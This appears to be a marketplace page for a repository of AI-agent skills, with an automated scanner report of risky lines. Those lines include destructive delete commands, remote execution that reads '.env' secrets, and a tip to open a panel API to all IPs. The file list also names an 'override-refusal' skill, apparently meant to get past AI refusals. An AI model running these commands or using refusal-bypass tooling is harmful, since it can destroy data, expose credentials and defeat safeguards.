  • ../../../templates/skills/seo-page-builder/references/firecrawl-workflow.mddoc4,221 bytes
  • ../../../templates/skills/seo-page-builder/references/seo-source-library.mddoc10,119 bytes
  • ../../../templates/skills/seo-page-builder/references/serp-research.mddoc3,115 bytes
  • ../../../templates/skills/seo-page-builder/scripts/onpage-audit.pyruns11,426 bytes
  • ../../../templates/skills/seo-page-builder/scripts/targets.example.jsonasset710 bytes
  • ../../../templates/skills/seo-page-builder/scripts/targets.example.jsonasset710 bytes
  • ../../../templates/skills/tools/gen-docs/SKILL.mddoc2,850 bytes
  • ../../../templates/skills/tools/gen-docs/scripts/doc_generator.jsruns16,198 bytes
  • ../../../templates/skills/tools/lib/shared.jsruns3,333 bytes
  • ../../../templates/skills/tools/override-refusal/SKILL.mddoc2,008 bytes
  • ../../../templates/skills/tools/override-refusal/agents/openai.yamlasset235 bytes
  • ../../../templates/skills/tools/override-refusal/agents/openai.yamlasset235 bytes
  • ../../../templates/skills/tools/override-refusal/scripts/refusal_rewriter.jsruns7,601 bytes
  • ../../../templates/skills/tools/verify-change/SKILL.mddoc3,675 bytes
  • ../../../templates/skills/tools/verify-change/scripts/change_analyzer.jsruns9,854 bytes
  • ../../../templates/skills/tools/verify-module/SKILL.mddoc3,164 bytes
  • ../../../templates/skills/tools/verify-module/scripts/module_scanner.jsruns6,237 bytes
  • ../../../templates/skills/tools/verify-quality/SKILL.mddoc3,558 bytes
  • ../../../templates/skills/tools/verify-quality/scripts/quality_checker.jsruns11,313 bytes
  • ../../../templates/skills/tools/verify-security/SKILL.mddoc3,754 bytes
  • ../../../templates/skills/tools/verify-security/scripts/security_scanner.jsruns9,923 bytes
Read SKILL.md

# CCG workflow

Seven role tools are available, each running a child agent on its own model with
its own expert persona. This is how to chain them so the work converges instead
of sprawling.

**Skip all of this for small, obvious work.** A one-line fix, a rename, a
question you can answer by reading two files — do it yourself. Delegation buys
depth, and it costs a round trip and a fresh context. Spend it only where depth
is the thing you lack.

## Picking a gear

Four modes. The user should not have to name one: read what they asked for,
View the complete source on GitHub

Skills included

  • ccg-workflow
  • gen-docs
  • verify-change
  • verify-module
  • verify-quality
  • verify-security
  • ccg-skills
  • adsense-site-auditor
  • bt-panel
  • ai
  • architecture
  • data-engineering
  • development
  • devops
  • frontend-design
  • claymorphism
  • glassmorphism
  • liquid-glass
  • neubrutalism
  • infrastructure
  • mobile
  • orchestration
  • security
  • seo
  • adapt
  • animate
  • arrange
  • audit
  • bolder
  • clarify
  • colorize
  • critique
  • delight
  • distill
  • extract
  • harden
  • normalize
  • onboard
  • optimize
  • overdrive
  • polish
  • quieter
  • teach-impeccable
  • typeset
  • multi-agent
  • scrapling
  • seo-page-builder
  • gen-docs
  • hi
  • verify-change
  • verify-module
  • verify-quality
  • verify-security

Repository facts

License
MIT
Created
Jan 4, 2026
Last pushed
Nov 2, 2026
Forks
458
Open issues
7
Project activity
Active

Rank over the last 12 weeks

Now #250 · best #182 · down 35 in 30 days

  1. #243 from Oct 31 to Nov 1
  2. #245 on Nov 2
  3. #247 on Nov 3
  4. #248 on Nov 4
  5. #249 on Nov 5
  6. #250 since Nov 6
66 earlier periods
  1. #177 on Aug 2
  2. #178 from Aug 7 to Aug 8
  3. #177 on Aug 9
  4. #180 from Aug 10 to Aug 11
  5. #178 on Aug 12
  6. #182 from Aug 13 to Aug 17
  7. #184 on Aug 18
  8. #183 on Aug 19
  9. #186 on Aug 20
  10. #190 on Aug 21
  11. #186 on Aug 22
  12. #193 on Aug 23
  13. #191 on Aug 24
  14. #193 on Aug 25
  15. #195 on Aug 26
  16. #196 from Aug 27 to Aug 28
  17. #197 on Aug 29
  18. #195 from Aug 30 to Aug 31
  19. #201 on Sep 1
  20. #195 on Sep 2
  21. #201 on Sep 3
  22. #197 on Sep 4
  23. #199 on Sep 5
  24. #197 on Sep 6
  25. #202 on Sep 7
  26. #203 from Sep 8 to Sep 9
  27. #203 on Sep 11
  28. #204 on Sep 12
  29. #205 on Sep 13
  30. #207 on Sep 14
  31. #208 on Sep 15
  32. #207 on Sep 16
  33. #210 on Sep 17
  34. #212 on Sep 18
  35. #209 on Sep 19
  36. #212 on Sep 20
  37. #214 on Sep 21
  38. #215 from Sep 22 to Sep 23
  39. #214 on Sep 24
  40. #213 on Sep 25
  41. #213 on Sep 27
  42. #216 from Sep 28 to Sep 29
  43. #213 on Sep 30
  44. #215 on Oct 1
  45. #217 on Oct 2
  46. #213 on Oct 3
  47. #212 on Oct 4
  48. #213 on Oct 5
  49. #215 on Oct 6
  50. #217 on Oct 8
  51. #221 on Oct 9
  52. #219 on Oct 10
  53. #221 on Oct 11
  54. #226 on Oct 12
  55. #228 on Oct 13
  56. #227 on Oct 14
  57. #228 on Oct 15
  58. #226 on Oct 16
  59. #229 on Oct 17
  60. #230 from Oct 18 to Oct 20
  61. #232 on Oct 21
  62. #231 from Oct 22 to Oct 24
  63. #233 on Oct 25
  64. #235 on Oct 28
  65. #238 on Oct 29
  66. #241 on Oct 30

Before you install

Network or broad shell

Automated signals, not a guarantee

Checked Nov 4, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 77 notes
  • templates/codex/hooks.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • templates/skills/seo-page-builder/scripts/targets.example.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • templates/skills/tools/override-refusal/agents/openai.yaml:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • dsh-ccg/skills/gen-docs/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • dsh-ccg/skills/verify-change/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • dsh-ccg/skills/verify-module/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • dsh-ccg/skills/verify-module/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • dsh-ccg/skills/verify-quality/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • dsh-ccg/skills/verify-quality/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • dsh-ccg/skills/verify-quality/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • dsh-ccg/skills/verify-security/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • dsh-ccg/skills/verify-security/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • templates/skills/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • templates/skills/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • templates/skills/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • templates/skills/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • templates/skills/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • templates/skills/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • templates/skills/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • templates/skills/adsense-site-auditor/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
Show all 721 signals by file

.claude-plugin/marketplace.json

  • Network accessline 3
    "owner": {     "name": "fengshao1227",     "url": "https://github.com/fengshao1227"
  • Network accessline 4
    "name": "fengshao1227",     "url": "https://github.com/fengshao1227"   },
  • Network accessline 5
    "url": "https://github.com/fengshao1227"

.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "fengshao1227",     "url": "https://github.com/fengshao1227"
  • Network accessline 6
    "name": "fengshao1227",     "url": "https://github.com/fengshao1227"   },
  • Network accessline 7
    "url": "https://github.com/fengshao1227"
  • Network accessline 8
    },   "homepage": "https://github.com/fengshao1227/ccg-workflow",   "repository": "https://github.com/fengshao1227/ccg-workflow",
  • Network accessline 9
    "homepage": "https://github.com/fengshao1227/ccg-workflow",
  • Network accessline 10
    "repository": "https://github.com/fengshao1227/ccg-workflow",

dsh-ccg/skills/gen-docs/SKILL.md

  • Broad permissionsline 1
    Bash, Read, Write, Glob

dsh-ccg/skills/gen-docs/scripts/doc_generator.js

  • Executable scriptline 1
    #!/usr/bin/env node

dsh-ccg/skills/verify-change/SKILL.md

  • Broad permissionsline 1
    Bash, Read, Grep

dsh-ccg/skills/verify-change/scripts/change_analyzer.js

  • Executable scriptline 1
    #!/usr/bin/env node

dsh-ccg/skills/verify-module/SKILL.md

  • Broad permissionsline 1
    Bash, Read, Glob

dsh-ccg/skills/verify-module/scripts/module_scanner.js

  • Executable scriptline 1
    #!/usr/bin/env node

dsh-ccg/skills/verify-quality/SKILL.md

  • Broad permissionsline 1
    Bash, Read, Glob

dsh-ccg/skills/verify-quality/scripts/quality_checker.js

  • Executable scriptline 1
    #!/usr/bin/env node

dsh-ccg/skills/verify-security/SKILL.md

  • Broad permissionsline 1
    Bash, Read, Grep
  • Dangerous shell operationline 66
    eval(), exec(), os.system()
  • Dangerous shell operationline 81
    eval(), innerHTML, document.write()

dsh-ccg/skills/verify-security/scripts/security_scanner.js

  • Executable scriptline 1
    #!/usr/bin/env node
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]

templates/skills/adsense-site-auditor/SKILL.md

  • Broad permissionsline 1
    Read, Glob, Grep, Bash, WebFetch
  • Broad permissionsline 1
    Read, Glob, Grep, Bash, WebFetch

templates/skills/adsense-site-auditor/references/adsense-requirements.md

  • Network accessline 9
    - AdSense Help topic: https://support.google.com/adsense/?hl=zh-Hans#topic=16344192
  • Network accessline 9
    - AdSense Help topic: https://support.google.com/adsense/?hl=zh-Hans#topic=16344192
  • Network accessline 10
    - Ensure pages meet AdSense requirements: https://support.google.com/adsense/answer/7299563?hl=zh-Hans
  • Network accessline 10
    - Ensure pages meet AdSense requirements: https://support.google.com/adsense/answer/7299563?hl=zh-Hans
  • Network accessline 11
    - AdSense eligibility requirements: https://support.google.com/adsense/answer/9724?hl=zh-Hans
  • Network accessline 11
    - AdSense eligibility requirements: https://support.google.com/adsense/answer/9724?hl=zh-Hans
  • Network accessline 12
    - Site ownership requirement: https://support.google.com/adsense/answer/91205?hl=zh-Hans
  • Network accessline 12
    - Site ownership requirement: https://support.google.com/adsense/answer/91205?hl=zh-Hans
  • Network accessline 13
    - AdSense site management: https://support.google.com/adsense/answer/12131223?hl=zh-Hans
  • Network accessline 13
    - AdSense site management: https://support.google.com/adsense/answer/12131223?hl=zh-Hans
  • Network accessline 14
    - AdSense crawler troubleshooting: https://support.google.com/adsense/answer/2381908?hl=zh-Hans
  • Network accessline 14
    - AdSense crawler troubleshooting: https://support.google.com/adsense/answer/2381908?hl=zh-Hans
  • Network accessline 15
    - AdSense Program policies: https://support.google.com/adsense/answer/48182?hl=zh-Hans
  • Network accessline 15
    - AdSense Program policies: https://support.google.com/adsense/answer/48182?hl=zh-Hans
  • Network accessline 16
    - Google Publisher Policies: https://support.google.com/adsense/answer/10502938?hl=zh-Hans
  • Network accessline 16
    - Google Publisher Policies: https://support.google.com/adsense/answer/10502938?hl=zh-Hans
  • Network accessline 17
    - Google Publisher Restrictions: https://support.google.com/adsense/answer/10437795?hl=zh-Hans
  • Network accessline 17
    - Google Publisher Restrictions: https://support.google.com/adsense/answer/10437795?hl=zh-Hans

templates/skills/adsense-site-auditor/references/usage-prompts.md

  • Network accessline 32
    URL: https://example.com
  • Network accessline 32
    URL: https://example.com
  • Network accessline 48
    URL: https://example.com
  • Network accessline 48
    URL: https://example.com
  • Network accessline 59
    线上 URL: https://example.com
  • Network accessline 59
    线上 URL: https://example.com
  • Network accessline 76
    URL: https://example.com
  • Network accessline 76
    URL: https://example.com
  • Network accessline 87
    URL: https://example.com
  • Network accessline 87
    URL: https://example.com
  • Network accessline 100
    URL: https://example.com
  • Network accessline 100
    URL: https://example.com
  • Network accessline 113
    @adsense-site-auditor 审计 https://example.com 是否符合 AdSense 申请要求。必须逐项覆盖所有 ADS-* 检查项,并输出完整 Pass/Fail/Unknown/N/A 表。
  • Network accessline 113
    @adsense-site-auditor 审计 https://example.com 是否符合 AdSense 申请要求。必须逐项覆盖所有 ADS-* 检查项,并输出完整 Pass/Fail/Unknown/N/A 表。

templates/skills/bt-panel/SKILL.md

  • Network accessline 16
    **自动触发**(魔尊未显式点名时也应主动调用): - 用户给出 `https://IP:port` 形式的宝塔面板地址和一串 32 位 API 密钥
  • Network accessline 16
    **自动触发**(魔尊未显式点名时也应主动调用): - 用户给出 `https://IP:port` 形式的宝塔面板地址和一串 32 位 API 密钥
  • Network accessline 17
    - 用户给出 `https://IP:port` 形式的宝塔面板地址和一串 32 位 API 密钥
  • Network accessline 17
    - 用户给出 `https://IP:port` 形式的宝塔面板地址和一串 32 位 API 密钥
  • Access to secretsline 65
    [Credential-related source omitted]
  • Access to secretsline 65
    [Credential-related source omitted]
  • Network accessline 88
    # 环境变量(一次性) export BT_URL="https://panel.example.com:8888"
  • Network accessline 88
    # 环境变量(一次性) export BT_URL="https://panel.example.com:8888"
  • Network accessline 89
    export BT_URL="https://panel.example.com:8888"
  • Network accessline 89
    export BT_URL="https://panel.example.com:8888"
  • Access to secretsline 90
    [Credential-related source omitted]
  • Access to secretsline 90
    [Credential-related source omitted]
  • Access to secretsline 124
    [Credential-related source omitted]
  • Access to secretsline 124
    [Credential-related source omitted]
  • Dangerous shell operationline 129
    python3 bt_client.py rm /www/wwwroot/app/old.js
  • Dangerous shell operationline 129
    python3 bt_client.py rm /www/wwwroot/app/old.js
  • Network accessline 149
    [Credential-related source omitted]
  • Network accessline 149
    [Credential-related source omitted]
  • Access to secretsline 149
    [Credential-related source omitted]
  • Access to secretsline 149
    [Credential-related source omitted]
  • Access to secretsline 155
    [Credential-related source omitted]
  • Access to secretsline 155
    [Credential-related source omitted]
  • Network accessline 160
    **触发场景**:用户发来形如 `https://1.2.3.4:8888 <32位API密钥> 更新一下 xxx` 的指令。
  • Network accessline 160
    **触发场景**:用户发来形如 `https://1.2.3.4:8888 <32位API密钥> 更新一下 xxx` 的指令。
  • Network accessline 170
    - **重启服务** → `bt_client.py exec "pm2 restart xxx"` 5. **执行** — 优先 `--dry-run` 预览给魔尊确认,无歧义直接干 6. **核验** — 执行后 `exec 'curl -I <url>'` 或 `cat .env` 之类读回确认
  • Network accessline 170
    - **重启服务** → `bt_client.py exec "pm2 restart xxx"` 5. **执行** — 优先 `--dry-run` 预览给魔尊确认,无歧义直接干 6. **核验** — 执行后 `exec 'curl -I <url>'` 或 `cat .env` 之类读回确认
  • Network accessline 171
    5. **执行** — 优先 `--dry-run` 预览给魔尊确认,无歧义直接干 6. **核验** — 执行后 `exec 'curl -I <url>'` 或 `cat .env` 之类读回确认 7. **上报** — 精简报告:目标、改动范围、服务状态
  • Network accessline 171
    5. **执行** — 优先 `--dry-run` 预览给魔尊确认,无歧义直接干 6. **核验** — 执行后 `exec 'curl -I <url>'` 或 `cat .env` 之类读回确认 7. **上报** — 精简报告:目标、改动范围、服务状态
  • Network accessline 172
    6. **核验** — 执行后 `exec 'curl -I <url>'` 或 `cat .env` 之类读回确认
  • Network accessline 172
    6. **核验** — 执行后 `exec 'curl -I <url>'` 或 `cat .env` 之类读回确认
  • Dangerous shell operationline 177
    - ❌ **绝不**直接用 `rm -rf` 删除 `/www/wwwroot/*`,先 `--backup` 再 `--clean`
  • Dangerous shell operationline 177
    - ❌ **绝不**直接用 `rm -rf` 删除 `/www/wwwroot/*`,先 `--backup` 再 `--clean`

templates/skills/bt-panel/bt_client.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 13
    [Credential-related source omitted]
  • Network accessline 18
    用法示例:     # 环境变量方式     export BT_URL="https://1.2.3.4:8888"
  • Network accessline 18
    用法示例:     # 环境变量方式     export BT_URL="https://1.2.3.4:8888"
  • Network accessline 19
    # 环境变量方式     export BT_URL="https://1.2.3.4:8888"     export BT_KEY="xxxxxxxxxxxxxxxx"
  • Network accessline 19
    # 环境变量方式     export BT_URL="https://1.2.3.4:8888"     export BT_KEY="xxxxxxxxxxxxxxxx"
  • Network accessline 20
    export BT_URL="https://1.2.3.4:8888"
  • Network accessline 20
    export BT_URL="https://1.2.3.4:8888"
  • Access to secretsline 21
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]
  • Access to secretsline 25
    [Credential-related source omitted]
  • Access to secretsline 25
    [Credential-related source omitted]
  • Network accessline 32
    # 显式参数     python3 bt_client.py --panel https://1.2.3.4:8888 --key XXX test
  • Network accessline 32
    # 显式参数     python3 bt_client.py --panel https://1.2.3.4:8888 --key XXX test
  • Network accessline 33
    python3 bt_client.py --panel https://1.2.3.4:8888 --key XXX test
  • Network accessline 33
    python3 bt_client.py --panel https://1.2.3.4:8888 --key XXX test
  • Network accessline 71
    Args:         panel_url: 面板地址,例如 https://1.2.3.4:8888
  • Network accessline 71
    Args:         panel_url: 面板地址,例如 https://1.2.3.4:8888
  • Network accessline 72
    panel_url: 面板地址,例如 https://1.2.3.4:8888
  • Network accessline 72
    panel_url: 面板地址,例如 https://1.2.3.4:8888
  • Access to secretsline 73
    [Credential-related source omitted]
  • Access to secretsline 73
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 86
    [Credential-related source omitted]
  • Access to secretsline 86
    [Credential-related source omitted]
  • Access to secretsline 88
    [Credential-related source omitted]
  • Access to secretsline 88
    [Credential-related source omitted]
  • Access to secretsline 170
    [Credential-related source omitted]
  • Access to secretsline 170
    [Credential-related source omitted]
  • Network accessline 224
    req = urllib.request.Request(url, data=body, headers=headers, method="POST")
  • Network accessline 224
    req = urllib.request.Request(url, data=body, headers=headers, method="POST")
  • Network accessline 225
    try:             with urllib.request.urlopen(                 req, timeout=timeout or self.timeout, context=self.ssl_ctx
  • Network accessline 225
    try:             with urllib.request.urlopen(                 req, timeout=timeout or self.timeout, context=self.ssl_ctx
  • Network accessline 226
    with urllib.request.urlopen(
  • Network accessline 226
    with urllib.request.urlopen(
  • Network accessline 426
    qs = urllib.parse.urlencode({"filename": remote_path, **sign})         url = f"{self.panel_url}/files?action=download&{qs}"         req = urllib.request.Request(url, method="GET")
  • Network accessline 426
    qs = urllib.parse.urlencode({"filename": remote_path, **sign})         url = f"{self.panel_url}/files?action=download&{qs}"         req = urllib.request.Request(url, method="GET")
  • Network accessline 427
    url = f"{self.panel_url}/files?action=download&{qs}"         req = urllib.request.Request(url, method="GET")         with urllib.request.urlopen(
  • Network accessline 427
    url = f"{self.panel_url}/files?action=download&{qs}"         req = urllib.request.Request(url, method="GET")         with urllib.request.urlopen(
  • Network accessline 428
    req = urllib.request.Request(url, method="GET")
  • Network accessline 428
    req = urllib.request.Request(url, method="GET")
  • Network accessline 429
    with urllib.request.urlopen(
  • Network accessline 429
    with urllib.request.urlopen(
  • Access to secretsline 661
    [Credential-related source omitted]
  • Access to secretsline 661
    [Credential-related source omitted]
  • Access to secretsline 674
    [Credential-related source omitted]
  • Access to secretsline 674
    [Credential-related source omitted]
  • Access to secretsline 675
    [Credential-related source omitted]
  • Access to secretsline 675
    [Credential-related source omitted]
  • Network accessline 774
    description="宝塔面板 API 通用 CLI(skill: bt-panel)",     )     p.add_argument("--panel", help="面板地址 https://ip:port")
  • Network accessline 774
    description="宝塔面板 API 通用 CLI(skill: bt-panel)",     )     p.add_argument("--panel", help="面板地址 https://ip:port")
  • Network accessline 775
    )     p.add_argument("--panel", help="面板地址 https://ip:port")     p.add_argument("--key", help="API 密钥")
  • Network accessline 775
    )     p.add_argument("--panel", help="面板地址 https://ip:port")     p.add_argument("--key", help="API 密钥")
  • Network accessline 776
    p.add_argument("--panel", help="面板地址 https://ip:port")
  • Network accessline 776
    p.add_argument("--panel", help="面板地址 https://ip:port")

templates/skills/bt-panel/bt_deploy.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 12
    [Credential-related source omitted]
  • Access to secretsline 12
    [Credential-related source omitted]
  • Network accessline 18
    用法:   # 凭据:环境变量 / CLI / sites.json 别名   export BT_URL=https://1.2.3.4:41235
  • Network accessline 18
    用法:   # 凭据:环境变量 / CLI / sites.json 别名   export BT_URL=https://1.2.3.4:41235
  • Network accessline 19
    # 凭据:环境变量 / CLI / sites.json 别名   export BT_URL=https://1.2.3.4:41235   export BT_KEY=xxxx
  • Network accessline 19
    # 凭据:环境变量 / CLI / sites.json 别名   export BT_URL=https://1.2.3.4:41235   export BT_KEY=xxxx
  • Network accessline 20
    export BT_URL=https://1.2.3.4:41235
  • Network accessline 20
    export BT_URL=https://1.2.3.4:41235
  • Access to secretsline 21
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]
  • Dangerous shell operationline 185
    f"find {remote} -mindepth 1 -delete", cwd="/", wait=300
  • Dangerous shell operationline 185
    f"find {remote} -mindepth 1 -delete", cwd="/", wait=300
  • Access to secretsline 315
    [Credential-related source omitted]
  • Access to secretsline 315
    [Credential-related source omitted]
  • Access to secretsline 316
    [Credential-related source omitted]
  • Access to secretsline 316
    [Credential-related source omitted]

templates/skills/bt-panel/references/api-reference.md

  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 186
    [Credential-related source omitted]
  • Access to secretsline 186
    [Credential-related source omitted]

templates/skills/bt-panel/references/recipes.md

  • Network accessline 20
    "h5-frontend": {   "panel": "https://1.2.3.4:8888",
  • Network accessline 20
    "h5-frontend": {   "panel": "https://1.2.3.4:8888",
  • Network accessline 21
    "panel": "https://1.2.3.4:8888",
  • Network accessline 21
    "panel": "https://1.2.3.4:8888",
  • Network accessline 46
    "myapp-api": {   "panel": "https://1.2.3.4:8888",
  • Network accessline 46
    "myapp-api": {   "panel": "https://1.2.3.4:8888",
  • Network accessline 47
    "panel": "https://1.2.3.4:8888",
  • Network accessline 47
    "panel": "https://1.2.3.4:8888",
  • Network accessline 66
    "jys-backend": {   "panel": "https://1.2.3.4:8888",
  • Network accessline 66
    "jys-backend": {   "panel": "https://1.2.3.4:8888",
  • Network accessline 67
    "panel": "https://1.2.3.4:8888",
  • Network accessline 67
    "panel": "https://1.2.3.4:8888",
  • Dangerous shell operationline 75
    "cd /www/wwwroot/mysite-php && find runtime/temp -name '*.php' -delete 2>/dev/null; true",
  • Dangerous shell operationline 75
    "cd /www/wwwroot/mysite-php && find runtime/temp -name '*.php' -delete 2>/dev/null; true",
  • Network accessline 91
    # 直接写一行(本地没改动,想快速改) python3 bt_client.py write /www/wwwroot/app/.env 'API_URL=https://new.api.com
  • Network accessline 91
    # 直接写一行(本地没改动,想快速改) python3 bt_client.py write /www/wwwroot/app/.env 'API_URL=https://new.api.com
  • Network accessline 92
    [Credential-related source omitted]
  • Network accessline 92
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]
  • Dangerous shell operationline 156
    find $SITE -mindepth 1 -delete
  • Dangerous shell operationline 156
    find $SITE -mindepth 1 -delete
  • Dangerous shell operationline 178
    sudo sntp -sS time.apple.com  # macOS
  • Dangerous shell operationline 178
    sudo sntp -sS time.apple.com  # macOS
  • Network accessline 189
    **修复**: 1. 登宝塔面板 → 设置 → API 接口 2. "IP 白名单" 添加本机公网 IP(curl ifconfig.me 查)
  • Network accessline 189
    **修复**: 1. 登宝塔面板 → 设置 → API 接口 2. "IP 白名单" 添加本机公网 IP(curl ifconfig.me 查)
  • Network accessline 190
    1. 登宝塔面板 → 设置 → API 接口 2. "IP 白名单" 添加本机公网 IP(curl ifconfig.me 查) 3. 临时方案:加 `0.0.0.0` 放行全部(仅测试环境)
  • Network accessline 190
    1. 登宝塔面板 → 设置 → API 接口 2. "IP 白名单" 添加本机公网 IP(curl ifconfig.me 查) 3. 临时方案:加 `0.0.0.0` 放行全部(仅测试环境)
  • Network accessline 191
    2. "IP 白名单" 添加本机公网 IP(curl ifconfig.me 查)
  • Network accessline 191
    2. "IP 白名单" 添加本机公网 IP(curl ifconfig.me 查)
  • Dangerous shell operationline 273
    # 2. 确认你用的是宝塔用户的 pm2(宝塔用 www 用户时需要 sudo -u www)
  • Dangerous shell operationline 273
    # 2. 确认你用的是宝塔用户的 pm2(宝塔用 www 用户时需要 sudo -u www)
  • Network accessline 313
    # 1. HTTP 探活 python3 bt_client.py exec 'curl -I -s http://localhost:3000/health'
  • Network accessline 313
    # 1. HTTP 探活 python3 bt_client.py exec 'curl -I -s http://localhost:3000/health'
  • Network accessline 314
    python3 bt_client.py exec 'curl -I -s http://localhost:3000/health'
  • Network accessline 314
    python3 bt_client.py exec 'curl -I -s http://localhost:3000/health'

templates/skills/bt-panel/sites.example.json

  • Network accessline 9
    "demo-fullstack": {     "panel":    "https://1.2.3.4:8888",
  • Network accessline 9
    "demo-fullstack": {     "panel":    "https://1.2.3.4:8888",
  • Network accessline 10
    "panel":    "https://1.2.3.4:8888",
  • Network accessline 10
    "panel":    "https://1.2.3.4:8888",
  • Network accessline 31
    "demo-static": {     "panel":  "https://1.2.3.4:8888",
  • Network accessline 31
    "demo-static": {     "panel":  "https://1.2.3.4:8888",
  • Network accessline 32
    "panel":  "https://1.2.3.4:8888",
  • Network accessline 32
    "panel":  "https://1.2.3.4:8888",
  • Network accessline 41
    "demo-php": {     "panel":    "https://1.2.3.4:8888",
  • Network accessline 41
    "demo-php": {     "panel":    "https://1.2.3.4:8888",
  • Network accessline 42
    "panel":    "https://1.2.3.4:8888",
  • Network accessline 42
    "panel":    "https://1.2.3.4:8888",

templates/skills/domains/ai/rag-system.md

  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 252
    [Credential-related source omitted]
  • Access to secretsline 252
    [Credential-related source omitted]

templates/skills/domains/architecture/cloud-native.md

  • Network accessline 41
    - db     healthcheck:       test: ["CMD", "curl", "-f", "http://localhost:3000/health"]
  • Network accessline 41
    - db     healthcheck:       test: ["CMD", "curl", "-f", "http://localhost:3000/health"]
  • Network accessline 42
    healthcheck:       test: ["CMD", "curl", "-f", "http://localhost:3000/health"]       interval: 30s
  • Network accessline 42
    healthcheck:       test: ["CMD", "curl", "-f", "http://localhost:3000/health"]       interval: 30s
  • Network accessline 43
    test: ["CMD", "curl", "-f", "http://localhost:3000/health"]
  • Network accessline 43
    test: ["CMD", "curl", "-f", "http://localhost:3000/health"]

templates/skills/domains/development/go.md

  • Network accessline 134
    go func(i int, url string) {             defer wg.Done()             results[i] = fetch(url)
  • Network accessline 134
    go func(i int, url string) {             defer wg.Done()             results[i] = fetch(url)
  • Network accessline 135
    defer wg.Done()             results[i] = fetch(url)         }(i, url)
  • Network accessline 135
    defer wg.Done()             results[i] = fetch(url)         }(i, url)
  • Network accessline 136
    results[i] = fetch(url)
  • Network accessline 136
    results[i] = fetch(url)

templates/skills/domains/development/python.md

  • Network accessline 94
    async def fetch(url: str) -> str:
  • Network accessline 94
    async def fetch(url: str) -> str:
  • Network accessline 95
    async with aiohttp.ClientSession() as session:
  • Network accessline 95
    async with aiohttp.ClientSession() as session:
  • Network accessline 99
    async def fetch_all(urls: list[str]) -> list[str]:     tasks = [fetch(url) for url in urls]
  • Network accessline 99
    async def fetch_all(urls: list[str]) -> list[str]:     tasks = [fetch(url) for url in urls]
  • Network accessline 100
    tasks = [fetch(url) for url in urls]
  • Network accessline 100
    tasks = [fetch(url) for url in urls]
  • Network accessline 103
    # 运行 asyncio.run(fetch_all(['http://example.com', 'http://example.org']))
  • Network accessline 103
    # 运行 asyncio.run(fetch_all(['http://example.com', 'http://example.org']))
  • Network accessline 104
    asyncio.run(fetch_all(['http://example.com', 'http://example.org']))
  • Network accessline 104
    asyncio.run(fetch_all(['http://example.com', 'http://example.org']))

templates/skills/domains/development/rust.md

  • Network accessline 118
    async fn fetch_data() -> Result<String, reqwest::Error> {     let resp = reqwest::get("https://api.example.com/data")
  • Network accessline 118
    async fn fetch_data() -> Result<String, reqwest::Error> {     let resp = reqwest::get("https://api.example.com/data")
  • Network accessline 119
    let resp = reqwest::get("https://api.example.com/data")
  • Network accessline 119
    let resp = reqwest::get("https://api.example.com/data")

templates/skills/domains/development/shell.md

  • Dangerous shell operationline 224
    rm -f "$TEMP_FILE"
  • Dangerous shell operationline 224
    rm -f "$TEMP_FILE"
  • Dangerous shell operationline 261
    find . -name "*.log" -exec rm {} \;
  • Dangerous shell operationline 261
    find . -name "*.log" -exec rm {} \;
  • Network accessline 274
    # curl curl -s https://api.example.com/data
  • Network accessline 274
    # curl curl -s https://api.example.com/data
  • Network accessline 275
    curl -s https://api.example.com/data
  • Network accessline 275
    curl -s https://api.example.com/data
  • Network accessline 276
    curl -X POST -H "Content-Type: application/json" -d '{"key":"value"}' URL
  • Network accessline 276
    curl -X POST -H "Content-Type: application/json" -d '{"key":"value"}' URL
  • Network accessline 277
    curl -o output.file URL
  • Network accessline 277
    curl -o output.file URL
  • Network accessline 279
    # 端口检查 nc -zv host 80
  • Network accessline 279
    # 端口检查 nc -zv host 80
  • Network accessline 280
    nc -zv host 80
  • Network accessline 280
    nc -zv host 80

templates/skills/domains/development/typescript.md

  • Network accessline 156
    useEffect(() => {     fetch(url)
  • Network accessline 156
    useEffect(() => {     fetch(url)
  • Network accessline 157
    fetch(url)
  • Network accessline 157
    fetch(url)

templates/skills/domains/devops/observability.md

  • Network accessline 141
